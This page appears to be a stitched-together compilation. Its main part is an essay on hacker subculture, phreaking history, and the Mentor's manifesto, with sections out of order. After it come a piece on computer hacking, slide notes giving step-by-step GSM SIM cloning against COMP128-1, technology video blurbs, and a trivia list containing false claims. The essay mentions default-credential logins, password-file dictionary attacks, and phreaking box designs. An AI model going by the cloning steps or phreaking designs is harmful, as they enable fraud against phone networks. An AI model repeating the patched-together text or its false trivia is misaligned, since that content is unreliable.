Problems with the Nostalgic Discourse

The old-school hackers may be closer to the new generation than it first appears. In "Old Hackers, New Hackers: What’s the Difference?" Mizrach argues that it is only a small group of new hackers, the crackers (though he does not call them such), who are causing the fight between old and new hackers over the definition and who gets the status. While the nostalgics argue that their activities are purely legal, Stallman contradicts this by explaining his experience at MIT where he started working in 1971:
"I don't know if there actually is a hacker's ethic as such, but there sure was an M.I.T. Artificial Intelligence Lab ethic. This was that bureaucracy should not be allowed to get in the way of doing anything useful. Rules did not matter - results mattered. Rules, in the form of computer security or locks on doors, were held in total, absolute disrespect... Anyone who dared to lock a terminal in his office, say because he was a professor and thought he was more important than other people, would likely find his door left open the next morning. I would just climb over the ceiling or under the floor, move the terminal out, or leave the door open with a note saying what a big inconvenience it is to have to go under the floor, "so please do not inconvenience people by locking the door any longer." Even now, there is a big wrench at the AI Lab entitled "the seventh-floor master key", to be used in case anyone dares to lock up one of the more fancy terminals."

Nostalgic Discourse

Nostalgic Discourse
In the 1960s and 1970s, to be a computer hacker was to wear a badge of honor.
(Hafner and Markoff, 11)

Hackers build things, crackers break them.
(Raymond)
The nostalgic discourse, as expressed by Raymond and others, defines hackers as the people who were responsible for many important computer developments such as the Internet, the World Wide Web, and Unix. It holds a nostalgic view of computer programming that idealizes the fifties through seventies. This discourse values myths like that "real programmers," which this discourse calls "hackers," once wrote flawless code in very difficult programming languages such as assembly. Much of its values (proponents might argue all) come from Levy’s hacker ethic. However, where Levy leaves space open for hackers to gain access by illegal means, the nostalgics draw a strict line against illegal means. They call hackers who break into systems "crackers" who deserve jail, and disdain them and phreaks for being stupid kids. They do not distinguish between the white hat and black hat hackers. Stoll (1988), a system administrator whose vigilance led to the successful prosecution of West German hacker Pengo, strongly opposed the white hats for betraying the trust on which the Internet was based and for potentially unintentionally causing damage.
Raymond urges that nostalgic hackers pursue a strategy of cultural separation. Nostalgic hackers should use proper spelling, grammar, and usernames based one’s actual name (instead of mythical ones such as "Lord Xandor"). Raymond recommends, "Don't call yourself a `cyberpunk', and don't waste your time on anybody who do."
Nostalgic hackers are not by any means completely based in the past. Raymond sees the success of nostalgic hackers as being strongly connected to that of open systems like Unix. His definition is strongly rooted in computer programming, specifically programming with the intent of distributing the software for free. According to him an example of a good hacker is Richard Stallman who founded the Free Software Foundation in 1984 which developed a free Unix-clone called GNU’s Not Unix (GNU). Stallman helped inspire Levy’s Hacker Ethic. Another example is how hackers collaborated using the Internet to develop Linux. Linux is a Unix operating system that is available free and may significantly challenge Microsoft’s Windows monopoly. On the political front, he sees hackers as the activists who defeating the Clipper chip and Communications Decency Act in the mid-1990s.
So the nostalgic hackers want to take back "hacker" for themselves.
"At the most recent conference called "Hackers 4.0" we had 200 of the most brilliant computer professionals in the world together for one weekend; this crowd included several PhD's, several presidents of companies ... and various artists, writers, engineers, and programmers. These people all consider themselves Hackers: all derive great joy from their work, from finding ways around problems and limits, from creating rather than destroying. It would be a great disservice to these people, and the thousands of professionals like them, to let some pathetic teenaged criminals destroy the one word which captures their style of interaction with the universe: Hackers
(Bickford 1988, qtd. in Meyer)."
Overall this discourse is an attempt to legitimize hacking’s status in the public view, by countering the media’s "mistake" beginning in the mid eighties when it started using "hacker" instead of "cracker" for the people who were gaining increasing amounts of attention by breaking into computer systems.

Problems with the White Hat Hacking Discourse

"Juvenile" behavior is not limited to crackers. Hackers and hacker groups have fights. They will insult each other in public (like in Phrack where the editors wrote entire articles "ragging" on a person and were sarcastically replying to over a dozen letters per issue, on BBS message forums, or on IRC) disconnect a target’s phone service or stick them with a huge long distance bell (in the case of phreaks), or hack into their computer accounts with malicious intent. At conferences, hackers tend to wreck mild-havoc in the main hotel – setting off alarms, trying to hack into any hotel phone or computer systems, drinking large quantities of alcohol – including many under-age hackers, watching pornography, hiring strippers, etc. Also it is probable that some self-proclaimed "ethical" hackers have participated and profited from "unethical" behavior (perhaps the lower-key crime of using a calling card for free calls, though refraining the more serious crime of credit card fraud), but just never got caught and keep it a secret. So while there is an argument to be made for distinguishing between hackers and crackers, there are clearly times when the categories are inaccurate or when people transcend them.

Juvenility and Carding

The use of this marginal hacker-lingo, combined with bad spelling and grammar, hurts the hacker image making it appear very juvenile. In fact, this is often very close to the truth. Many hackers are teenagers and approach hacking like it is a fun prank. For instance some webpages that are hacked / defaced simply contain a rant or "tag" in hacker lingo (which is only meaningful to a small number of hackers) or pornography. Vulgarity is also very common. For instance hackers who defaced hacked webpages put "fuck" on 584 of the 2145 pages (27.2%) for a total of 1269 times (June 1995 to 1999, source: www.attrition.org, ctd. in Phrack 55). It appears that these hackers are trying to imitate the actions of previous hackers, without taking on their values (for instance as expressed in the hacker ethic). A teen might see the movie "War Games" or "Hackers," persuade his or her parents to buy a modem, log-on to some BBSes (or now the Internet), find some anarchy/hacking/phreaking files and decide that they are going to be the greatest hacker ever, not realizing how much knowledge, dedication, and luck one needs to be successful. And if hackers are not brought-up by mentors who follow a no-harm ethic, then it’s a simple and relatively easy decision to start profiting from one’s activities through credit card (a.k.a. "carding") or calling card fraud. Thus some hackers become involved in harmful criminal activities, from which the ethical illegal hackers try to distinguish themselves.

Hacker Language

Language helps re-enforce the barrier between computer hackers and non-hackers, as well as that between hackers and crackers. Computer hackers have developed their own language. Firstly there is vocabulary that non-hackers will not know (TCP, IP, winsock, Linux, root access, vi, etc) due to a lack of computer-related knowledge. Secondly, some computer hackers have modified English with a set of conventions. Hackers replace ‘f’ with ‘ph’ (likely coming from phreaks who were interested in ‘ph’ones), and ‘s’ with ‘z’. Also hackers use numbers in place of letters such as ‘1’ for ‘i’ or ‘l’ (though replacing ‘i’ is not the proper usage), ‘3’ for ‘E,’ ‘4’ for ‘a’, and ‘7’ for ‘t.’ Also it is important to use random caPitAlizaTioN, abbreviation, slang, emphasize words by putting ‘k-‘ before them ("k-rad"), and finish a statement with a series of characters for emphasis.
Take this example from an Internet Relay Chat message in a hacking group (#hack):
<elph> c4n sUm1 h31p m3 w1tH h4x0RiNg mY sk00lz c0mPz?!?!?!!?!?
Which translates to: "<elf> can someone help me with hacking my school’s computers?"
According to "Lamer Speak," elf’s statement comes from the warez and crackerz subcultures. "Warez d00dz" are software pirates who are interested in copying the latest program (warez) or game (gamez). Crackers, in this sense, may refer to people who crack software protection or people who crack computer networks. While one will rarely seen this extreme form of the dialect in serious computer hacking circles (thus distinguishing them from crackers and warez d00dz), some of it is widely adopted (notably using ‘ph’ and ‘z’) and thus helps to distinguish them from non-hackers and nostalgic hackers who would never use this dialect. Perhaps newcomers to hacking use this language because they think it will help them gain acceptance, substituting the proper language for their lack of knowledge, by the gate-keeping elite. Or perhaps it is just seen by young teens as a cool way of talking. In real life, elf was banned (i.e. removed) from #hack very promptly after writing that statement. This exclusion is incredibly common, as newcomers are shot-down repeatedly for requesting help in Phrack, on IRC, and on alt.2600 (a hacking Internet discussion group).

Phone Hacking

One group that is often subsumed (notably by the media) under the hacker label, is phreaks. Phreaking started with the Yippies! (a radical political off-shoot of the hippies). Abbie Hoffman’s Steal This Book: A Survival Guide for Yippie! Nation showed how Yippies! could survive and work for revolution, doing things for free or as cheap as possible. Some of the areas covered were clothes, drugs, housing, travel, and communications. The Youth International Party Line newsletter described how to get free phone calls, and in 1971 lost its political orientation though continued its leading role in the phreaking field under the name of Technical Assistance Program (TAP). The June 1972 issue of Ramparts (an alternative New Left publication) was confiscated for publishing a design for a phreaking box, and Ramparts soon ceased operation. The early phreaks used simple electronic boxes, or other devices, to alter voltages or generate tones that were able to control the phone network. One of the first inventions was the black box. It only required a switch and a 10k-ohm resistor, and allowed people to receive free calls by lowering the line voltage so it appeared that there was no conversation. The famous blue box produced a 2600hz tone which gave it control of a trunk, allowing a phreak to literally surf the phone network going from one switching station to another. A common trick was to use the box to hop around the world through a dozen locations to call the pay phone next to you. Phreaks not only wanted free phone calls (and they used their knowledge of the system to setup conference calls and build a phreak network), but also to explore the Ma Bell phone system. The ability to control switches and guide a phone call around the world is similar to the approach hackers would take on the Internet.
Phreaks had power, and some could even tap other peoples’ phone calls. In the mid-1970s AT&T was losing $30 million a year to phreaks, so in the 1980s they upgraded the system and started scanning for people playing tones on their lines and tracking them down. In 1983, the editors of TAP had an attempted arson on their house. In the mid eighties Phreaks started using computer programs called "war-dialers." These programs used the modem to call a range of phone numbers and keep a log of the results. Phreaks were looking for internal numbers used by the phone company. Hackers used them to find computers with dial-ups that they could try to break-in. The phone companies are now aware of these programs, and in some areas they are illegal. One easy phreak trick that still works in most areas is the red box. It fools a pay phone into thinking money was deposited by playing the same tone that the phone generates when you deposit of a nickel, dime or quarter.
The connection between phreaking and hacking grew as hackers wanted free, untraceable phone calls so that they could gain access into computer networks. Also as the phone system became digital, phreaks needed to learn how to hack into the computers that controlled the switches. Some individuals participated in both hacking and phreaking (Ex. Kevin Mitnick). Phrack, a hacking and phreaking electronic journal, is a prime example of the overlap between the two as it serves both communities.

Methodology

As mentioned earlier, I shared much of the hacking-mindset before starting to research this topic. While doing research, I entered even deeper into the subculture. For that reason, I would categorize my approach as partially ethnographic. While the fact that I did not meet or talk to any computer hackers might indicate a serious shortcoming in my approach, as most hackers communicate primarily using computers, I believe that my experience is comparable to theirs’.
To study this topic, I read several books (both on hacking and two works of fiction – 1984 and the cyberpunk Neuromancer), articles (notably from Phrack – I skimmed issues 1 to 55), various pieces that were posted on the World-Wide Web (essays and how-to guides), and spent hours lurking on two hacking-related Internet Relay Chat (IRC) channels: #hack and #2600. I wanted to view a wide range of writings about and by the computer underground so that the quotes I highlight, and the hacking sub-discourses that I examine are representative. Most of the information, including half of the books, was found on the World Wide Web, with one resource leading to many others. This caused there to be more information about hacking than I could hope to cover in one paper, however I am making an effort to be representative.
The reliability of many of the sources, particularly those from the hacking community, is questionable. Material from the Internet in general is prone to error and people will forward information without confirming the source. After several permutations, much like the children’s game of whispering a message in the ear of the person next to you, it can get obfuscated. There is also a lack of accountability, as the source does not have to defend his or her claims in person. In the specific case of hackers, they tend to boast to increase their status, and criticize or lie about their enemies. As hackers they are able to hide behind pseudonyms and are thus even less reliable. Also their illegal activities are cloaked with mystery due to fear of prosecution. I hope that I was able to avoid most problems by examining a lot of material, comparing it, and not treating it purely as fact but as discourse. In doing so, I feel confident that my findings are accurate.
I will try to be consistent in my use of terms. Therefore I will use "cracker" (or black hat hacker) for individuals who behave in illegal computer activities that are mostly unethical (malicious or solely for personal gain), "hacker" (or white hat hacker) for individuals who behave primarily in ethical illegal activities (Ex. breaking-in to a system without causing harm), and "nostalgic hacker" for people whose computer activities are legal. In addition, "hacktivist" shall indicate people who use hacking as a tool of resistance, whether by legal or illegal means. I shall refer to hackers by their pseudonym, unless they are well-known by their real name (Ex. Kevin Mitnick).

Theoretical Framework

Words have power. You can see it in the Internet that for most of its life was words and numbers. Words are combined to form sentences and languages. Different groups use distinct forms of language (or discourses), so that they can espouse and emphasize different values, creating and reproducing a subculture. Since one cannot look directly into an individual’s mind to see the power in words and language, a good alternative is to look at their actions. A subculture’s history frames its discourse, and its living history (a.k.a. actions) is a reflection of the meaning it finds in the discourse: its interpretation.
It is neither discourse alone, or action alone that best explains what computer hacking is. Discourse fails by its inability to base itself and its acceptance of a multiplicity of "truths." Simply put, it is easy to say one thing and mean or do another. For instance, hackers may claim that they are following the "hacker ethic," while they use their skills to get, and possibly sell, credit card numbers. Action by itself will also fail, as without a related discourse one cannot know its meaning. For example if you saw a defaced webpage where the original was replaced with hacker lingo, it would seem like a senseless act of vandalism. Likewise, would you be able to guess why people are spending hundreds of hours pouring over computer manuals, searching directories, running files, and writing programs to gain access to computers (much of which would appear to be very boring work for non-enthusiasts)? So this paper will look at both discourse and action (past and present) to create a fuller picture of the conflictingly defined hacker subcultures.
The last part of this paper is based on several political assumptions that I do not have the space to address here. I assume that popular resistance to the rule of the elite is good and necessary for reducing inequality, achieving a just global society, and ultimately ensuring the survival of the planet. Thus the importance in my arguments is not just to understand computer hacking, but to understand it through the perspective of its potential use for popular resistance.

HISTORY OF HACKING

Hacking History

One of the primary places computer hacking originated was at MIT during the late Fifties and Sixties. A group of students, many of who came from the Tech Model Railroad Club (which had an incredibly complicated switching system for its model railroad) were able to use a couple MIT computers very late at night. So they started to write programs. Showing how hierarchical computer access was, one computer (an IBM 704 worth several millions) was guarded by a group of people who were called "The Priesthood." Students were not even allowed to touch it! They would have to reserve time and then give their program cards to a priest to enter it into the machine. They preferred using a donated TX 0 computer that gave real-time feedback and whose owner was much more permissive in granting access, over the batch processing IBM which was maintained by a bureaucracy. Due to MIT’s computer rules, there was a lot of conflict between the "hackers" and the "Officially Sanctioned Users." The hackers used the computers to innovate and explore, whereas the others used them to speed-up traditional number crunching. The hackers believed that computers could create new paradigms, and wanted to expand the tasks computers could accomplish.
As computer time was so valuable, hackers developed the ethic of not wasting it. Computers ran around the clock and there were always a group of students ready to fill-in in case someone would not show up for their slot. It wasn’t only college students who were interested. One faculty kid turned hacker, Peter Dreutsch, got computer time under a false name and wrote his first program at the age of twelve. As they had to write basic programs to run the computer, they shared their work freely. They enjoyed such feats as fine-tuning a program to be as efficient with scan computing resources as possible. The Tech Model Railroad club defined a hack as, "a project undertaken or a product built not solely to fulfill some constructive goal, but with some wild pleasure taken in mere involvement," and the most proficient members were self-defined "hackers" (Levy). One first example of a "hack" was a computer "game" of Ping-Pong where a computer light would move from left to right (and back) changing direction if you flipped a computer switch at the right time. Other "hacks" included a program to convert Arabic numerals into roman numbers, and a program that attempted to play music.
It was based on early hackers, like at MIT, that Steven Levy developed the "Hacker Ethic" in his landmark 1984 book:
The Hacker Ethic
1. Access to computers - and anything which might teach you something about the way the world works - should be unlimited and total. Always yield to the Hands-On imperative!
2. All information should be free.
3. Mistrust authority - promote decentralization.
4. Hackers should be judged by their hacking, not bogus criteria such as degrees, age, race, or position.
5. You can create art and beauty on a computer.
6. Computers can change your life for the better.
The key word in the first statement is "access." In the early computer-era, the vast majority of college students had no access to computers. Only the most advanced students were able to use the best technology, and the creative desires of the budding hackers were discarded in favor of the institution’s use of the machine for number-crunching or its own research agenda. Likewise, until the early nineties very few people had access to the Internet – large powerful networks were out of reach.
The power behind the second statement is that it calls for "all" information to be free, not just some. This is misleading to some extent, as most hackers do not want to abolish individual privacy (however corporate privacy is highly questioned). A better way to phrase it would be that all information whose release will not harm an individual should be free. Here again this ethic finds its roots in the early hackers who readily shared their programs, operating as a free scientific community. Also it comes from the structure of computers themselves which must freely copy information to operate (Levy). Bits (zeros and ones) are copied from disk into memory which is copied to the CPU where they are manipulated in calculations. Computers are constantly sharing information. The earliest computer networks did not bother to have security. Anyone who had physical access could copy or run any program they wanted to, however this would eventually change.
Hackers did not like large bureaucracies like IBM. This logically flows from the desire for access, as bureaucracies are excellent at creating rules which would ration scarcities (like computer time) according to organizational priorities, which would generally exclude hackers. That explains why hackers would want to "promote decentralization."
The fourth statement shows the meritocratic ideal of hackers. Like the desire for access (that allows illegal hacking to get it), this is also ends-oriented. An early example of this belief was the thirteen-year-old faculty child at MIT who was accepted by the college students because of his ability to program and critique the programs of others.
The final two statements assert the early utopic ideology of computer hackers. They believed that not only could technology be used to perform current jobs more efficiently, but that it could radically transform the world into an idyllic society. Hacker utopians believe that computers, and other advancements such as biotechnology, will lead to a qualitative improvement in life. Non-hackers did not, especially in the early stages of the computer revolution, believe that art and beauty could be created on the computer. The initial hacker utopia was later negated by the cyberpunk culture who recognized the possibility that technology would be used to assist an authoritarian corrupt state (like Orwell’s 1984 or Gibson’s Neuromancer), instead of promoting a radically decentralized democracy (akin to that promoted by the New Left in the 1960s). The last statement in the ethic comes from the belief that hackers became demi-gods through their total control over infallible machines.
Not only did this ethic challenge the mainstream computer community, but also it was intended as a universal critique of society. For as Levy argued:
In a perfect hacker world, anyone pissed off enough to open up a control box near a traffic light and take it apart to make it work better should be perfectly welcome to make the attempt...
And wouldn't everyone benefit even more by approaching the world with the same inquisitive intensity,
skepticism toward bureaucracy, openness to creativity, unselfishness in sharing accomplishments, urge to make improvements, and desire to build as those who followed the Hacker Ethic?
Levy’s ethic contains some political ideas along the lines of libertarianism or mild anarchism; however, it does not provide a progressive framework that would be needed were hackers to play a significant role in the global resistance against the power elite.
Since the creation of this ethic, many people have claimed to adhere to it, however a controversy has emerged over whether they are true to its spirit. The problem comes from what is left out of the ethic. It is silent about what means hackers should use to get information. It implies that breaking bureaucratic rules is acceptable. Therefore many hackers felt that gaining access into computer or phone networks by hacking was also permitted, even encouraged. Others felt that illegal attempts at access would harm the networks, unintentionally or intentionally, and thus went against the MIT-based hacker ethic.

what is hacking?

What is Hacking?

Username: system
Password: manager
Welcome to ABL Computer Research Lab. You have five new messages.
$ That is how easy it was to hack into a computer network. The most prominent definition of hacking is the act of gaining access without legal authorization to a computer or computer network. A hacker first attacks an easy target, and then uses it to hide his or her traces for launching attacks at more secure sites. The goal of an attack is to gain complete control of the system (so you can edit, delete, install, or execute any file in any user’s directory), often by gaining access to a "super-user" account. This will allow both maximum access and the ability to hide your presence.
Often attacks are based on software bugs that a hacker can use to give himself or herself super-user status. The example above was used by West German hacker "Pengo" who exploited the fact that many systems came with default usernames and passwords which some buyers neglected to change. He succeeded by persistence.
Also one can get a copy of the password file (which stores usernames and encrypted passwords and is often publicly accessible) and either do a brute-force attack trying all possible combinations, or encrypt a dictionary and compare the results to see if anyone chose a password that is a dictionary word. Another method of hacking is to email someone a program that either automatically runs, or that runs when they click on an attachment. This can install a program that will give you control of their computer. L0pht Heavy Industry’s Back Orifice 2000 (a crude parody of Microsoft’s Office 2000) allows someone to have nearly complete control (running programs, deleting files, viewing the screen, logging typed keys, etc.) over the target computer without being noticed. One complicated method, known as IP spoofing, is to get one computer to pretend that it is another one which is trusted by the target system, thus gaining the access privileges of the latter.
Early hackers needed to be very knowledgeable so that they were able to identify bugs themselves (a task requiring extensive knowledge about the operating system, and reading complex manuals) and often write their own programs to exploit them. They had to keep track of the leading developments in the field (latest bugs, latest patches, latest bugs in the patches, etc.). Later hackers were able to increasingly rely upon the hacking community to identify bugs and write programs that could be adapted for their specific purpose. For instance, famed hacker Kevin Mitnick used a trojan horse written by the West German Chaos Gang to gain access to hundreds of systems. As another example, it does not take much intelligence to download a copy of Back Orifice 2000 from www.bo2k.com and send a copy of the client as an attachment disguised as a game or cute program, to an unsuspecting person. In fact, Back Orifice has been downloaded over 300,000 times (Deane 1999) and received substantial computer media coverage. In Pengo’s case it is often more a matter of dedication and trying well-known recipes until one finds a place that has not fixed the bugs, than genius.
The growing number of inexperienced hackers (deridingly called "lamers" or "crackers"), due to the growth first in BBSes and then in the Internet, helps explain the antagonism between the older generation that did more of the problem-solving for themselves and the new generation that can get a quick start by running hacker programs without understanding how they work. The reaction of the older generation is to shun the newbies, thus ignoring those who might show talent as well as those who are in it just to copy tactics.

Hacker Discourse: The Mentor’s Manifesto
So what motivates hackers? Next to Levy’s "hacker ethic," the most influential hacker document is "The Conscience of a Hacker" (a.k.a. The Hacker Manifesto). It can be found on many webpages showing that people believe it is a good representation of the hacking spirit. It appeared originally in Phrack 7 and was reprinted there after some busts in 1987 (Phrack 23). The last two paragraphs were even posted on a hacked www.votedbest.com webpage (see http://www.attrition.org/mirror/attrition/1999/12/03/www.votedbest.com/), Also it was included in the movie Hackers.
Here it is, with some of the formatting preserved from the original Phrack 7 text:


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= The following was written shortly after my arrest...

\/\The Conscience of a Hacker/\/

by

+++The Mentor+++

Written on January 8, 1986
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Another one got caught today, it's all over the papers. "Teenager Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"... Damn kids. They're all alike.

But did you, in your three-piece psychology and 1950's technobrain, ever take a look behind the eyes of the hacker? Did you ever wonder what made him tick, what forces shaped him, what may have molded him? I am a hacker, enter my world... Mine is a world that begins with school... I'm smarter than most of the other kids, this crap they teach us bores me... Damn underachiever. They're all alike.

I'm in junior high or high school. I've listened to teachers explain for the fifteenth time how to reduce a fraction. I understand it. "No, Ms. Smith, I didn't show my work. I did it in my head..." Damn kid. Probably copied it. They're all alike.

I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it's because I screwed it up. Not because it doesn't like me... Or feels threatened by me... Or thinks I'm a smart ass... Or doesn't like teaching and shouldn't be here... Damn kid. All he does is play games. They're all alike.
 
And then it happened... a door opened to a world... rushing through the phone line like heroin through an addict's veins, an electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought... a board is found.

"This is it... this is where I belong..." I know everyone here... even if I've never met them, never talked to them, may never hear from them again... I know you all... Damn kid. Tying up the phone line again. They're all alike...

You bet your ass we're all alike... we've been spoon-fed baby food at school when we hungered for steak... the bits of meat that you did let slip through were pre-chewed and tasteless. We've been dominated by sadists, or ignored by the apathetic. The few that had something to teach found us will- ing pupils, but those few are like drops of water in the desert.

This is our world now... the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt-cheap if it wasn't run by profiteering gluttons, and you call us criminals. We explore... and you call us criminals. We seek after knowledge... and you call us criminals. We exist without skin color, without nationality, without religious bias... and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it's for our own good, yet we're the criminals.

Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for.

I am a hacker, and this is my manifesto. You may stop this individual, but you can't stop us all... after all, we're all alike.
+++The Mentor+++
Overall this manifesto argues that hacking is a legitimate, but misunderstood, activity. For instance the media portrays hackers as criminals, and argues that they do it for personal gain. As most hackers start in their teens, they are influenced by their alienated experience in school where they might be seen as "under-achievers" or cheaters. The function of school is to condition students, with bells, grades, exams, and arbitrary rules, so that they accept working nine to five jobs and follow the orders of their boss, government, and other elites. It makes sense that the school experience would alienate many freethinking students. His sarcastic tone shows the alienation and frustration that he and other hackers are experiencing (and which in his case was increased by his recent arrest). Computers, and specifically computer networks in the grassroots form of bulletin board systems, provide an intellectual challenge for socially inept hackers and an escape from a cruel misunderstanding world. Whereas in socializing hackers have a disadvantage, in computer networks they have the advantage due to their specialized knowledge. Unfortunately, having just liberated themselves from social alienation, hackers find themselves stigmatized, and labeled as criminals for their efforts to break free.
The Mentor concludes by challenging the legitimacy of the legal system to determine the boundary between legal and illegal activity. Perhaps influenced by the anarchy files that are common on computer underground BBSes, he argues that the government is criminal and does not have the right to judge hackers. He probably does not expect hackers to win the legal argument, but proclaims that they will keep on hacking regardless. This manifesto has been read by, and encouraged, thousands (possibly hundreds of thousands or millions if you include the movie) of computer hackers or possible hackers – proving that the Mentor was right.
Building boundaries between hackers and crackers
The Mentor’s critique of the media’s portrayal of hackers is an attempt to build a boundary between ethical hackers (a.k.a. "white hats") and unethical crackers (a.k.a. "black hats"). According to hacker Candy Man whereas hackers use their intelligence (Ex. extensive knowledge of Unix) to break into systems but will avoid harming data, crackers are dumb and get passwords using well-known techniques and do so with the intent of damaging the system. As another example of similar boundary drawing, Hafner and Markoff in Cyberpunk refer to Kevin Mitnick as a "dark-side" hacker due to his malicious activities such as tapping phone lines, personal threats and manipulation, breaking into telecom buildings, etc. Kevin Mitnick was eventually imprisoned for stealing 20,000 credit card numbers. Hackers are generally very supportive of this boundary. Phrack often interviewed famous phreaks or hackers, and about half of them would sharply criticize the new generation for their unethical and uneducated behavior. The criticism of crackers is fueled by the belief that they give hacking a bad name, but also they draw the attention of law enforcement and increase the chances of everyone getting caught.
Control C speaking to Phrack (Issue 45) about "What I think of the Future of the Underground:"
Ahahaha.. LAME, LAME, LAME.. In the old days we were the first to do things. We would get on a system and play with it for hours. It was a quest for knowledge... Today's new "hackers" are really assholes. They don't do it to learn. They want to mess things up. I really can't stand the new anarchy thing that is going around. We have kids logging onto the BBS that say "I have 400+ viruses". Well.. That's not cool...
The purpose of hacking is to learn. Learn the way a computer system runs. Learn how the telephone switching systems work. Learn how a packet switching network works. It's not to destroy things or make other peoples lives a mess by deleting all the work they did for the past week. The reason the Department of Justice has crackdowns on computer hackers is because so many of them are destructive. That's just stupid criminal behavior and I hope they all get busted. They shouldn't be around. You give real hackers a bad name.
In an interview, former editor of Phrack and member of the Legion of Doom (a notorious hacker group), Erik Bloodaxe, explains that he strongly supports the hacker ethic. Commenting on the bad hackers he remarks: "I find it pretty repulsive and disgusting. I am certainly not blind to the fact that there are people out there that do it, but obviously these people have a s---ty upbringing or they are just bad people" (qtd. in Gilboa).
Interviews of Scan Man (Phrack 7), Tuc (Phrack 8), Agrajag (Phrack 12), Taran King (Phrack 20), all opposed malicious hacking and were notably critical of credit carding. In the Phrack interviews, no one ever defended credit carding. The closest thing to a defense of cracking was a passive one, where people did not say anything bad about their colleagues. So whether they were defending them or not was questionable. Phrack’s refusal to publish passwords or other codes, combined with their editorial stance and its move away from publishing "anarchy" files (like drug and bomb recipes); shows that it favors white hat hacking.

what is computer hacking?

Computer hacking is the practice of modifying computer hardware and software to accomplish a goal outside of the creator’s original purpose. People who engage in computer hacking activities are often called hackers. Since the word “hack” has long been used to describe someone who is incompetent at his/her profession, some hackers claim this term is offensive and fails to give appropriate recognition to their skills.
Computer hacking is most common among teenagers and young adults, although there are many older hackers as well. Many hackers are true technology buffs who enjoy learning more about how computers work and consider computer hacking an “art” form. They often enjoy programming and have expert-level skills in one particular program. For these individuals, computer hacking is a real life application of their problem-solving skills. It’s a chance to demonstrate their abilities, not an opportunity to harm others. 


Since a large number of hackers are self-taught prodigies, some corporations actually employ computer hackers as part of their technical support staff. These individuals use their skills to find flaws in the company’s security system so that they can be repaired quickly. In many cases, this type of computer hacking helps prevent identity theft and other serious computer-related crimes.
Computer hacking can also lead to other constructive technological developments, since many of the skills developed from hacking apply to more mainstream pursuits. For example, former hackers Dennis Ritchie and Ken Thompson went on to create the UNIX operating system in the 1970s. This system had a huge impact on the development of Linux, a free UNIX-like operating system. Shawn Fanning, the creator of Napster, is another hacker well known for his accomplishments outside of computer hacking.


In comparison to those who develop an interest in computer hacking out of simple intellectual curiosity, some hackers have less noble motives. Hackers who are out to steal personal information, change a corporation’s financial data, break security codes to gain unauthorized network access, or conduct other destructive activities are sometimes called “crackers.” This type of computer hacking can earn you a trip to a federal prison for up to 20 years.

smart card cloning

smart card cloning is easy!
(GSM SIMs)
The stages• Scan the SIM to extract IMSI (just read it!)

and Ki, the 128 bit key (for COMP128-1
only, so far….)
• Now put the IMSI and Ki into some card
software
• And then copy it into a new SIM card
• We now have a cloned SIM

First we need to read the SIM• A small reader, connected to a serial port.
Home made for $5

Then we need to find Ki

• We need Ki and IMSI, we can use
Simscan from Dejan’s pages that will
break COMP128-1

Here’s the software• Simscan ready to go 



Now scanning the card
• Searching for the key

Getting there• The result slowly appears (this one looks
interesting!)

Now we have it!• This was a SIM supplied to delegates at a
meeting, Ki is a bit obvious isn’t it!

Now to create the software• Using some more software from the
Internet called KiSsMi we create the
software for the card

We now need to program the SIM
• We use a single chip PIC computer which
is in a SIM shaped package (GOLD
CARD)
• We use a smart card programmer (easily
bought on the Internet)
• And then we program up the card….

The programmer…..
• With the card ready to go



The software for the programmer• Just load in the software we created with
KiSsMi using VxTools




And we now have a cloned card• Note: My way is rather long! Many people
sell the equipment cheaply…
• Only works with COMP128-1
• So now please think about changing to a
new algorithm………. 

TECHNOLOGY

3D Facial Animation Demo By Pendulum Alter Ego Award winning animation studio Pendulum shows a demo of compelling and emotive digital characters from AlterEgo, their facial performance division. AlterEgo demonstrates how they accurately translate an actor’s facial performance into believable and life like 3D character animation..

Mythbusters Draws Mona Lisa Using Paint Balls MythBusters first showed how aCPU drew a smiley face one paint ball at a time and then proceed to show how a GPU used parallel processing to draw an actual Mona Lisa drawing in 80 milli seconds. Add a slow motion version at the end and you get a sensational technologydemonstration.

Future Of Robotics – Self Assembly Robots

This is a view of an early prototype of using a swarm of robots that could physically join and create a three dimension artificial organism. The robots would manage their own hardware and software and even self heal when damaged.

There are ambitious aims to how the technology could be used where these robots would be used to solve tasks too complicated or dangerous for human such as deploying them in collapsed building.

Mars Phoenix Lander CG Animation

An animated illustration of the Phoenix Lander arriving on Mars on May 25th. The Phoenix Lander is programmed to set down near the North Pole of Mars and over the next three months, sample alien soil and ice and look for conditions conducive for ancient microbial life.

This animation shows the arrival, deployment of parachute, jettison its heat shield, thruster fire, landing, unfurling its solar panel, deploying its instruments, scooping and analysis by the Phoenix Lander.

EuphoriaCharacter Animation Engine: This is a demo of Euphoria’s realistic character animation system which is used for the animation tech in Grand Theft Auto 4. It doesn’t require an animator to generate all possible movements and uses a combination of artificial intelligence, physics and biomechanics. This is truly the future development of character animation.

Antonov – The World Heaviest And Largest Jet:

The Antonov An-225 is the world’s heaviest and largest jet for strategic airlift transport built by Antonov Design Bureau. It is larger than the Airbus A380 airliner and is listed in the Guinness Book of Records as the largest airplane. It has a landing gear system of 32 wheels and a wing span of 291 feet and designed for the Soviet space program in 1988 to airlift the Energia rocket’s booster, Buran space shuttle or ultra-heavy and oversize freight up to 250,000 kg internally or 200,000 kg on the upper fuselage.

50 INTERESTING FACTS

1. If you are right handed, you will tend to chew your food on your right side. If you are left handed, you will tend to chew your food on your left side.

2. If you stop getting thirsty, you need to drink more water. For when a human body is dehydrated, its thirst mechanism shuts off.

3. Chewing gum while peeling onions will keep you from crying.

4. Your tongue is germ free only if it is pink. If it is white there is a thin film of bacteria on it.

5. The Mercedes-Benz motto is “Das Beste oder Nichts” meaning “the best or nothing”.

6. The Titanic was the first ship to use the SOS signal.

7. The pupil of the eye expands as much as 45 percent when a person looks at something pleasing.

